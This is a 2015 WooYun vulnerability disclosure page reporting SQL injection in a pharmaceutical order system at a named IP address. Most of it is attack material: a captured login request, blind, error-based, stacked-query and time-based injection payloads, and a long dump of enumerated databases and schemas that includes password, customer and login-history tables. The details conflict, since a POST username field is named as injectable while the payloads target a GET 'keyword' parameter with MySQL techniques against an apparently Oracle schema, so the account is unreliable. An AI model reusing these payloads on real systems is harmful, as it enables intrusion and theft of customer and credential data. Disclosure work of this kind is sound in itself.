当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0131340

漏洞标题：国药集团旗下某订单系统存在SQL注入漏洞大量订单信息

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-08-06 10:38

修复时间：2015-09-24 14:52

公开时间：2015-09-24 14:52

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-06： 细节已通知厂商并且等待厂商处理中
2015-08-10： 厂商已经确认，细节仅向厂商公开
2015-08-20： 细节向核心白帽子及相关领域专家公开
2015-08-30： 细节向普通白帽子公开
2015-09-09： 细节向实习白帽子公开
2015-09-24： 细节向公众公开

简要描述：

RT

详细说明：

漏洞地址：

POST /UserLogin.aspx HTTP/1.1
Host: 203.187.184.11
Proxy-Connection: keep-alive
Content-Length: 221
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://203.187.184.11
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://203.187.184.11/UserLogin.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=yykkzv55yvkacw45kvnpjr3w
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMTA3MjkwMjY0ZGQ05P3BzGqDyC0MCc8t%2FE0TopuF2Q%3D%3D&__VIEWSTATEGENERATOR=7A1355CA&txt_username=admin&txt_password=admin&RadioButtonList1=2&btn_login=%E7%99%BB+%E5%BD%95


txt_username参数存在注入

---
Parameter: keyword (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keyword=1%' AND 7037=7037 AND '%'='&type=1
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: keyword=1%' AND (SELECT 8128 FROM(SELECT COUNT(*),CONCAT(0x7176786b71,(SELECT (ELT(8128
=8128,1))),0x7178766b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
'%'='&type=1
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: keyword=1%';(SELECT * FROM (SELECT(SLEEP(5)))bSWx)#&type=1
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: keyword=1%' AND (SELECT * FROM (SELECT(SLEEP(5)))tLuo) AND '%'='&type=1
---

漏洞证明：

Database: HAIHONG
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| YPEDT_SYNC_LOG                 | 2886130 |
| YPEDT_ORDER_ITEM               | 545485  |
| YPEDT_SYNC_LOG_ITEM            | 20298   |
| YPEDT_SEND_ITEM                | 8295    |
+--------------------------------+---------+
Database: SCOTT
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| EMP                            | 14      |
| SALGRADE                       | 5       |
| DEPT                           | 4       |
+--------------------------------+---------+
Database: WSD
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| BMS_SA_DTL                     | 3909691 |
| TONGTIM_MSG_BAK                | 2450673 |
| BMS_SA_DOC                     | 1640303 |
| PUB_SALE                       | 1496339 |
| LOGIN_HISTORY                  | 582227  |
| PRT_BMS_SA_WEBCON_DTL_BACK     | 395368  |
| ZX_BMS_SA_CONNO_TICK           | 391472  |
| PUB_ORDER                      | 377816  |
| BMS_LOT_DEF                    | 189753  |
| PRT_BMS_SA_WEBCON_DOC_BACK     | 176788  |
| BMS_PR_CUSTOM                  | 87587   |
| PUB_EMP_GOODS                  | 72505   |
| YSJ_1                          | 68071   |
| UNT_SAL_APPLY                  | 26794   |
| ZX_UNT_SAL_APPLY_LOG           | 26215   |
| PUB_GOODS_PRICE                | 21146   |
| PUB_CUSTOM_TO_SALER            | 20244   |
| ZX_BMS_COMPANY_GOODSCLASS      | 13399   |
| ORDER_IMPORT_TMP               | 12798   |
| PUB_GOODS                      | 11308   |
| PUB_GOODS_VARTYPE              | 10950   |
| PUB_CUSTOM_TO_SALER_BAK        | 9970    |
| ZX_CUS_LEGALINDENTURE_CLS      | 9546    |
| BMS_TR_POS_DEF                 | 8674    |
| ZX_WLS_SAL_APPLY_GEN_LOG       | 7761    |
| WLS_SAL_APPLY                  | 7678    |
| BMS_ST_QTY_LST                 | 7099    |
| BMS_SA_INV_INFO                | 7042    |
| PUB_CUSTOMER                   | 6825    |
| LG_IP                          | 6527    |
| LG_HIS                         | 6248    |
| ZX_BMS_GOODS_PRICE             | 5726    |
| PUB_PASSWORD                   | 4590    |
| ZX_CUSTOM_CORPORATION          | 4564    |
| ZX_CUSTOM_LEGAL_INDENTURE      | 4357    |
| ZX_SP_GOODS_CLASS              | 3651    |
| YSJ_USES                       | 3586    |
| ZX_PUB_COUNTY                  | 3561    |
| YSJ_GOODS                      | 3439    |
| ZX_CUSTOM_MEDPASSPERMIT        | 3149    |
| ZX_CUSTOM_MEDMASSPERMIT        | 3142    |
| PUB_FACTORY                    | 2740    |
| ZX_CUSTOM_MEDORAPERMIT         | 2451    |
| BMS_ST_IO_DOC_TMP              | 2153    |
| BMS_ST_IO_DTL_TMP              | 2151    |
| PUB_EMPLOYEE                   | 928     |
| BMS_STORER_POS                 | 454     |
| ZX_ZZ_CUSTOM_ANNALS            | 443     |
| ZX_CUSTOM_MEDDEVICEPERMIT_CLAS | 386     |
| ZX_PUB_CITY                    | 379     |
| ZX_CUSTOM_MEDDEVICESPERMIT     | 341     |
| ZX_ZZ_FACTORY_ANNALS           | 316     |
| PUB_MOBILEPHONE                | 307     |
| ZX_CUSTOM_HEALTHFOODPERMIT     | 294     |
| ZX_ZZ_SUPPLY_ANNALS            | 267     |
| ZX_TIE_ZHENGZHAO_CHECKRULE     | 196     |
| PUB_DDL                        | 145     |
| DC_BUF_000C00180001            | 122     |
| YSJ_TEMP1                      | 98      |
| DC2_RESTORE_LOG                | 95      |
| DC2_ERROR_MANAGER              | 62      |
| ZX_CUSTOM_MYBJJSFWZYXKZ        | 40      |
| ZZ_CONTROL_RULE                | 40      |
| ZX_PUB_PROVINCE                | 35      |
| BMS_GOODS_STATUS               | 34      |
| NOUSE_GOOD                     | 34      |
| ZX_CUSTOM_ZZ_MYYJK             | 30      |
| DC2_PROJECT_LOG                | 26      |
| PHONE                          | 26      |
| BMS_ST_DEF                     | 24      |
| PBCATEDT                       | 21      |
| PBCATFMT                       | 20      |
| ZX_GOODS_TR_POS_DEF            | 16      |
| ZX_CUSTOM_SPLTXKZ              | 12      |
| PUB_ADMIN                      | 9       |
| XT_XLZZ_WSD                    | 9       |
| YSJ_TEMP                       | 7       |
| PO_LINE_LOCATION               | 5       |
| DC2_NODE                       | 3       |
| DC2_DBVERSION                  | 2       |
| PO_HEADER                      | 2       |
| TONGTIM_TRIGGER                | 2       |
| DC2_COLLECTPOINT               | 1       |
| PHONE_CUSTOM                   | 1       |
| TONGTIM_MSGSERVICE             | 1       |
| TONGTIM_MSGTYPE                | 1       |
| ZMH_TEMP                       | 1       |
+--------------------------------+---------+


<code>Database: WSD
Table: YSJ_USES
[2 columns]
+---------------+--------+
| Column | Type |
+---------------+--------+
| EXTERNAL_CODE | NUMBER |
| USER_ID | NUMBER |
+---------------+--------+
Database: WSD
Table: ZX_CUSTOM_MEDORAPERMIT
[14 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| CTRLMODE | NUMBER |
| CUSTOMID | NUMBER |
| CUSTOMSEQID3 | NUMBER |
| FAREKIND | VARCHAR2 |
| LEGALMAN | VARCHAR2 |
| MEDORANAME | VARCHAR2 |
| MEMO | VARCHAR2 |
| NAME3 | VARCHAR2 |
| PICPATH | VARCHAR2 |
| POSSTYPE | VARCHAR2 |
| REGISTERNO | VARCHAR2 |
| SEQID3 | NUMBER |
| USESTATUS | NUMBER |
| VALIDDATE | DATE |
+--------------+----------+
Database: WSD
Table: LG_IP
[2 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| LOGIN_IP | NVARCHAR2 |
| USERID | NVARCHAR2 |
+----------+-----------+
Database: WSD
Table: PHONE_CUSTOM
[1 column]
+----------------+--------+
| Column | Type |
+----------------+--------+
| PUB_SALE_MAXID | NUMBER |
+----------------+--------+
Database: WSD
Table: DC2_DBVERSION
[3 columns]
+-----------+----------+
| Column | Type |
+-----------+----------+
| DBVERSION | VARCHAR2 |
| LIC | VARCHAR2 |
| RUNINFO | VARCHAR2 |
+-----------+----------+
Database: WSD
Table: ZX_CUSTOM_CORPORATION
[23 columns]
+----------------+----------+
| Column | Type |
+----------------+----------+
| ADDRESS | VARCHAR2 |
| ANNALCIRCS | VARCHAR2 |
| BOOKNO | VARCHAR2 |
| BUSCHARTERNO | VARCHAR2 |
| BUSTERM | DATE |
| CORTYOE | VARCHAR2 |
| CTRLMODE | NUMBER |
| CTRLMODE_NJ | NUMBER |
| CUSTOMID | NUMBER |
| CUSTOMSEQID1 | NUMBER |
| ENROLNO | VARCHAR2 |
| ENROLNOCAPITAL | VARCHAR2 |
| INSPECTIONYEAR | NUMBER |
| LEGALMAN | VARCHAR2 |
| MEMO | VARCHAR2 |
| NAME1 | VARCHAR2 |
| NEXTINSPECTION | DATE |
| OLDNAME | VARCHAR2 |
| ORDERNO | VARCHAR2 |
| PICPATH | VARCHAR2 |
| SEQID1 | NUMBER |
| STARTDATE | DATE |
| USESTATUS | NUMBER |
+----------------+----------+
Database: WSD
Table: PUB_GOODS_VARTYPE
[9 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| COPYDATA | NUMBER |
| OPCODE | VARCHAR2 |
| PUBFLAG | NUMBER |
| USESTATUS | NUMBER |
| VARIETYID | NUMBER |
| VARTYPEID | NUMBER |
| VARTYPENAME | VARCHAR2 |
| VARTYPENO | VARCHAR2 |
| VARTYPEUNIT | VARCHAR2 |
+-------------+----------+
Database: WSD
Table: PUB_DDL
[3 columns]
+---------+----------+
| Column | Type |
+---------+----------+
| DDLID | NUMBER |
| DDLNAME | VARCHAR2 |
| KEYWORD | VARCHAR2 |
+---------+----------+
Database: WSD
Table: DC2_LOG_TABLE
[5 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| DELWHERESTRING | VARCHAR2 |
| NODEID | NUMBER |
| STARTWITHSTRING | VARCHAR2 |
| TABLENAME | VARCHAR2 |
| WHERESTRING | VARCHAR2 |
+-----------------+----------+
Database: WSD
Table: ZX_ZZ_FACTORY_ANNALS
[12 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| AUDITDATE | DATE |
| AUDITMANID | NUMBER |
| CTRLMODE | NUMBER |
| FACTORYID | NUMBER |
| INPUTDATE | DATE |
| INPUTMANID | NUMBER |
| NEXTDATE | DATE |
| PUBYEAR | NUMBER |
| SEQ | NUMBER |
| USESTATUS | NUMBER |
| ZZNAME | VARCHAR2 |
| ZZSEQ | NUMBER |
+------------+----------+
Database: WSD
Table: DC2_PROJECT_LOG
[5 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| CREDATE | DATE |
| LOGDESCRIBE | VARCHAR2 |
| LOGID | NUMBER |
| OPTYPE | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+-------------+----------+
Database: WSD
Table: PRT_BMS_SA_WEBCON_DOC_BACK
[16 columns]
+----------------+----------+
| Column | Type |
+----------------+----------+
| ACCNO | VARCHAR2 |
| ADDRESS | VARCHAR2 |
| BANKNAME | VARCHAR2 |
| CREDATE | DATE |
| CUSTOMID | NUMBER |
| CUSTOMNAME | VARCHAR2 |
| DIDIAN | VARCHAR2 |
| FRISTPRINTDATE | DATE |
| MEMO | VARCHAR2 |
| PRICETYPE | VARCHAR2 |
| SACONNO | VARCHAR2 |
| SADEPTID | NUMBER |
| SALESID | NUMBER |
| TAXNO | VARCHAR2 |
| TELEPHONE | VARCHAR2 |
| ZXCOLUMN4 | VARCHAR2 |
+----------------+----------+
Database: WSD
Table: PUB_CUSTOM_TO_SALER_BAK
[7 columns]
+-------------+--------+
| Column | Type |
+-------------+--------+
| BIAOJI | NUMBER |
| CHARSALERID | NUMBER |
| CREDATE | DATE |
| CUSTOMID | NUMBER |
| PUBFLAG | NUMBER |
| SALERID | NUMBER |
| STATUS | NUMBER |
+-------------+--------+
Database: WSD
Table: PUB_SALE
[30 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| ALLOWSUM | NUMBER |
| CLJIEGUO | VARCHAR2 |
| CREDATE | DATE |
| CUSTOMID | NUMBER |
| CUSTOMNAME | VARCHAR2 |
| DEPTID | NUMBER |
| DOWNLOADDATE | NUMBER |
| FENLEI | NUMBER |
| GOODSID | NUMBER |
| GOODSNAME | VARCHAR2 |
| GOODSPRICE | NUMBER |
| IN_TYPE | NUMBER |
| NUMBERS | NUMBER |
| OKDATE | DATE |
| ORDERNO | VARCHAR2 |
| PARTNUMBER | NUMBER |
| PHONE | VARCHAR2 |
| PRICETYPE | VARCHAR2 |
| SALEID | NUMBER |
| SALENO | VARCHAR2 |
| SENDMODE | VARCHAR2 |
| STATUS | NUMBER |
| STOCK_ID | VARCHAR2 |
| SUBSTORE | VARCHAR2 |
| TSYAOQIU | VARCHAR2 |
| UNITPRICE | NUMBER |
| UPLOADDATE | NUMBER |
| USERID | NUMBER |
| USERNAME | VARCHAR2 |
| YSDIZHI | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: ZX_CUSTOM_MEDDEVICESPERMIT
[10 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| CTRLMODE | NUMBER |
| CUSTOMID | NUMBER |
| MEDPERMITNO | VARCHAR2 |
| MEMO | VARCHAR2 |
| NAMEC10 | VARCHAR2 |
| PICPATH | VARCHAR2 |
| SEQC10ID | NUMBER |
| USESTATUS | NUMBER |
| VALIDDATE | DATE |
| ZHENGZHAOSEQ | NUMBER |
+--------------+----------+
Database: WSD
Table: DC_BUF_00230D070001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: BMS_ST_DEF
[26 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| AGTFLAG | NUMBER |
| AUTOCRTFLAG | NUMBER |
| BATCHFLAG | NUMBER |
| CUTTYPE | NUMBER |
| GOODSACCFLAG | NUMBER |
| GOODSDTLFLAG | NUMBER |
| GOODSUNITFLAG | NUMBER |
| IOFLAG | NUMBER |
| LOTFLAG | NUMBER |
| MEMO | VARCHAR2 |
| OPCODE | VARCHAR2 |
| PARENTID | NUMBER |
| PHYSTOREID | NUMBER |
| POSFLAG | NUMBER |
| PROCFLAG | NUMBER |
| QTYCTL | NUMBER |
| REALFLAG | NUMBER |
| SALESTORAGEID | NUMBER |
| STORAGEID | NUMBER |
| STORAGENAME | VARCHAR2 |
| STORAGENO | VARCHAR2 |
| STORAGETYPE | NUMBER |
| SUMDTLTYPE | NUMBER |
| USESTATUS | NUMBER |
| WKSHOPFLAG | NUMBER |
| WKSHOPFLG | NUMBER |
+---------------+----------+
Database: WSD
Table: PBCATVLD
[5 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| PBV_CNTR | NUMBER |
| PBV_MSG | VARCHAR2 |
| PBV_NAME | VARCHAR2 |
| PBV_TYPE | NUMBER |
| PBV_VALD | VARCHAR2 |
+----------+----------+
Database: WSD
Table: LOGIN_HISTORY
[4 columns]
+------------+-----------+
| Column | Type |
+------------+-----------+
| LOGIN_DATE | DATE |
| LOGIN_ID | NUMBER |
| LOGIN_IP | NVARCHAR2 |
| LOGIN_NM | NVARCHAR2 |
+------------+-----------+
Database: WSD
Table: DC_BUF_00220AC70001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: ZX_PUB_PROVINCE
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| PRO_OPCODE | VARCHAR2 |
| PROVINCECODE | VARCHAR2 |
| PROVINCEID | NUMBER |
| PROVINCENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: ZX_CUSTOM_MYBJJSFWZYXKZ
[10 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| CTRLMODE | NUMBER |
| CUSTOMID | NUMBER |
| MEMO | VARCHAR2 |
| MYBJJSFWZYXKZNO | VARCHAR2 |
| NAMEC17 | VARCHAR2 |
| PICPATH | VARCHAR2 |
| SEQC17ID | NUMBER |
| USESTATUS | NUMBER |
| VALIDDATE | DATE |
| ZHENGZHAOSEQ | NUMBER |
+-----------------+----------+
Database: WSD
Table: DC_BUF_000812040001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: YSJ_GOODS
[2 columns]
+---------------+--------+
| Column | Type |
+---------------+--------+
| EXTERNAL_CODE | NUMBER |
| GOODS_ID | NUMBER |
+---------------+--------+
Database: WSD
Table: YSJ_TEMP
[1 column]
+--------+----------+
| Column | Type |
+--------+----------+
| USERID | VARCHAR2 |
+--------+----------+
Database: WSD
Table: DC2_COLLECTPOINT
[4 columns]
+------------+--------+
| Column | Type |
+------------+--------+
| CPID | NUMBER |
| CREDATE | DATE |
| FINISHFLAG | NUMBER |
| STOPFLAG | NUMBER |
+------------+--------+
Database: WSD
Table: ZMH_TEMP
[3 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| EXCHANGE | VARCHAR2 |
| GOODSID | NUMBER |
| SPACK | VARCHAR2 |
+----------+----------+
Database: WSD
Table: PUB_EMP_GOODS
[2 columns]
+----------+--------+
| Column | Type |
+----------+--------+
| EMP_ID | NUMBER |
| GOODS_ID | NUMBER |
+----------+--------+
Database: WSD
Table: MICROSOFTDTPROPERTIES
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| VALUE | VARCHAR2 |
| VERSION | NUMBER |
| ID | NUMBER |
| LVALUE | LONG RAW |
| OBJECTID | NUMBER |
| PROPERTY | VARCHAR2 |
+----------+----------+
Database: WSD
Table: PBCATFMT
[4 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| PBF_CNTR | NUMBER |
| PBF_FRMT | VARCHAR2 |
| PBF_NAME | VARCHAR2 |
| PBF_TYPE | NUMBER |
+----------+----------+
Database: WSD
Table: DC_BUF_001706170001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: DC_BUF_002533A20001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: PUB_CUSTOMER
[52 columns]
+---------------------+----------+
| Column | Type |
+---------------------+----------+
| AVGGETMONEY | NUMBER |
| AVGYEARSALES | NUMBER |
| CODEFLAG | NUMBER |
| COEFFICIENT | NUMBER |
| COMPANYFLAG | NUMBER |
| COPYDATA | NUMBER |
| CREDIT | NUMBER |
| CREDITDAYS | NUMBER |
| CREDITMETHOD | NUMBER |
| CUSTOMCREDATE | DATE |
| CUSTOMGRADE | NUMBER |
| CUSTOMID | NUMBER |
| CUSTOMINPUTMANID | NUMBER |
| CUSTOMMEMO | VARCHAR2 |
| CUSTOMNAME | VARCHAR2 |
| CUSTOMNO | VARCHAR2 |
| CUSTOMOPCODE | VARCHAR2 |
| CUSTOMPASSWORD | VARCHAR2 |
| CUSTOMPINYIN | VARCHAR2 |
| DEFAULTINVOICETYPE | NUMBER |
| DEFAULTPRICEID | NUMBER |
| DEFAULTPRTINVID | NUMBER |
| DEFAULTTRANMETHODID | NUMBER |
| DELIVERMETHOD | NUMBER |
| DLOTMODE | NUMBER |
| FLOTMODE | NUMBER |
| FMID | NUMBER |
| GATHERNO | NUMBER |
| INVOICEPRECISION | NUMBER |
| LASTSALESDATE | DATE |
| MALETTERNAME | VARCHAR2 |
| MAYUSE | NUMBER |
| MTYPERMIT | NUMBER |
| MTYTYPE | NUMBER |
| OFFICEADDRESS | VARCHAR2 |
| PREPAREPRIORITY | NUMBER |
| PUBFLAG | NUMBER |
| TRANPRIORITY | NUMBER |
| TRANSCOMPID | NUMBER |
| USEFLAG | NUMBER |
| USESTATUS | NUMBER |
| VALIDDAYS | NUMBER |
| ZXCOLUMN1 | VARCHAR2 |
| ZXCOLUMN10 | VARCHAR2 |
| ZXCOLUMN2 | VARCHAR2 |
| ZXCOLUMN3 | VARCHAR2 |
| ZXCOLUMN4 | VARCHAR2 |
| ZXCOLUMN5 | VARCHAR2 |
| ZXCOLUMN6 | VARCHAR2 |
| ZXCOLUMN7 | VARCHAR2 |
| ZXCOLUMN8 | VARCHAR2 |
| ZXCOLUMN9 | VARCHAR2 |
+---------------------+----------+
Database: WSD
Table: DC_BUF_00113BCF0001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: PLAN_TABLE
[32 columns]
+-------------------+----------+
| Column | Type |
+-------------------+----------+
| POSITION | NUMBER |
| TIME | NUMBER |
| TIMESTAMP | DATE |
| ACCESS_PREDICATES | VARCHAR2 |
| BYTES | NUMBER |
| CARDINALITY | NUMBER |
| COST | NUMBER |
| CPU_COST | NUMBER |
| DISTRIBUTION | VARCHAR2 |
| FILTER_PREDICATES | VARCHAR2 |
| ID | NUMBER |
| IO_COST | NUMBER |
| OBJECT_INSTANCE | NUMBER |
| OBJECT_NAME | VARCHAR2 |
| OBJECT_NODE | VARCHAR2 |
| OBJECT_OWNER | VARCHAR2 |
| OBJECT_TYPE | VARCHAR2 |
| OPERATION | VARCHAR2 |
| OPTIMIZER | VARCHAR2 |
| OPTIONS | VARCHAR2 |
| OTHER | LONG |
| OTHER_TAG | VARCHAR2 |
| PARENT_ID | NUMBER |
| PARTITION_ID | NUMBER |
| PARTITION_START | VARCHAR2 |
| PARTITION_STOP | VARCHAR2 |
| PROJECTION | VARCHAR2 |
| QBLOCK_NAME | VARCHAR2 |
| REMARKS | VARCHAR2 |
| SEARCH_COLUMNS | NUMBER |
| STATEMENT_ID | VARCHAR2 |
| TEMP_SPACE | NUMBER |
+-------------------+----------+
Database: WSD
Table: PUB_SUPPLYER
[18 columns]
+--------------------+----------+
| Column | Type |
+--------------------+----------+
| GOODSID1 | NUMBER |
| GOODSID2 | NUMBER |
| GOODSID3 | NUMBER |
| GOODSID4 | NUMBER |
| GOODSID5 | NUMBER |
| SUPPLYERADD | VARCHAR2 |
| SUPPLYERCODE | VARCHAR2 |
| SUPPLYERCREDATE | DATE |
| SUPPLYERID | NUMBER |
| SUPPLYERINPUTMANID | NUMBER |
| SUPPLYERMAN | VARCHAR2 |
| SUPPLYERMEMO | VARCHAR2 |
| SUPPLYERNAME | VARCHAR2 |
| SUPPLYERNO | VARCHAR2 |
| SUPPLYEROPCODE | VARCHAR2 |
| SUPPLYERPINYIN | VARCHAR2 |
| SUPPLYERTEL | VARCHAR2 |
| USERSTATUS | NUMBER |
+--------------------+----------+
Database: WSD
Table: PUB_PASSWORD
[8 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| DEPTID | NUMBER |
| DEPTNO | VARCHAR2 |
| ID | NUMBER |
| ISN | NUMBER |
| PASSWORD | VARCHAR2 |
| STUTAS | NUMBER |
| USERID | VARCHAR2 |
| USERNAME | VARCHAR2 |
+----------+----------+
Database: WSD
Table: BMS_LOT_DEF
[9 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| APPROVEDOCNO | VARCHAR2 |
| GOODSID | NUMBER |
| INVALIDDATE | DATE |
| LOTID | NUMBER |
| LOTNO | VARCHAR2 |
| LOTSORTNO | VARCHAR2 |
| MEMO | VARCHAR2 |
| PRODDATE | DATE |
| REGISTDOCNO | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: BMS_STORER_POS
[15 columns]
+----------------+----------+
| Column | Type |
+----------------+----------+
| COMEFROM | NUMBER |
| COMPANYID | NUMBER |
| COPYDATA | NUMBER |
| CUSTOMID | NUMBER |
| GOODSACCFLAG | NUMBER |
| GOODSNOFLAG | VARCHAR2 |
| GOODSUNITFLAG | NUMBER |
| MASTERID | NUMBER |
| MEMO | VARCHAR2 |
| POSID | NUMBER |
| POSNO | VARCHAR2 |
| PUBFLAG | NUMBER |
| STHOUSEID | NUMBER |
| USESTATUS | NUMBER |
| VIRTUALPOSFLAG | NUMBER |
+----------------+----------+
Database: WSD
Table: ZX_CUSTOM_MEDDEVICEPERMIT_CLAS
[3 columns]
+------------------+--------+
| Column | Type |
+------------------+--------+
| CUSMEDDEVCLASSID | NUMBER |
| MEDDEVCLASSID | NUMBER |
| SEQC10ID | NUMBER |
+------------------+--------+
Database: WSD
Table: TONGTIM_MSG
[29 columns]
+------------------+----------+
| Column | Type |
+------------------+----------+
| MSGDELIVEREDAT | DATE |
| MSGFAILEDTEXT | VARCHAR2 |
| MSGID | NUMBER |
| MSGPARAM1 | VARCHAR2 |
| MSGPARAM10 | VARCHAR2 |
| MSGPARAM11 | VARCHAR2 |
| MSGPARAM12 | VARCHAR2 |
| MSGPARAM13 | VARCHAR2 |
| MSGPARAM14 | VARCHAR2 |
| MSGPARAM15 | VARCHAR2 |
| MSGPARAM16 | VARCHAR2 |
| MSGPARAM17 | VARCHAR2 |
| MSGPARAM18 | VARCHAR2 |
| MSGPARAM19 | VARCHAR2 |
| MSGPARAM2 | VARCHAR2 |
| MSGPARAM20 | VARCHAR2 |
| MSGPARAM3 | VARCHAR2 |
| MSGPARAM4 | VARCHAR2 |
| MSGPARAM5 | VARCHAR2 |
| MSGPARAM6 | VARCHAR2 |
| MSGPARAM7 | VARCHAR2 |
| MSGPARAM8 | VARCHAR2 |
| MSGPARAM9 | VARCHAR2 |
| MSGQUEUEDAT | DATE |
| MSGQUEUEDATSEQNO | NUMBER |
| MSGSERVICEID | NUMBER |
| MSGSTATUS | VARCHAR2 |
| MSGTYPEID | NUMBER |
| OPERATIONTYPE | VARCHAR2 |
+------------------+----------+
Database: WSD
Table: DC2_ERROR_MANAGER
[5 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| COPYTYPE | NUMBER |
| CREDATE | DATE |
| ERRORCOUNT | NUMBER |
| FILEPATH | VARCHAR2 |
| NODEID | NUMBER |
+------------+----------+
Database: WSD
Table: DC2_LOG_VIEW
[4 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| NODEID | NUMBER |
| TARGETNAME | VARCHAR2 |
| VIEWNAME | VARCHAR2 |
| WHERESTRING | VARCHAR2 |
+-------------+----------+
Database: WSD
Table: TONGTIM_TRIGGER
[5 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| ACTIONTYPE | VARCHAR2 |
| SERVICENAMEID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
| TRIGGERNAME | VARCHAR2 |
| TYPENAME | VARCHAR2 |
+---------------+----------+
Database: WSD
Table: DC_BUF_000802980001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
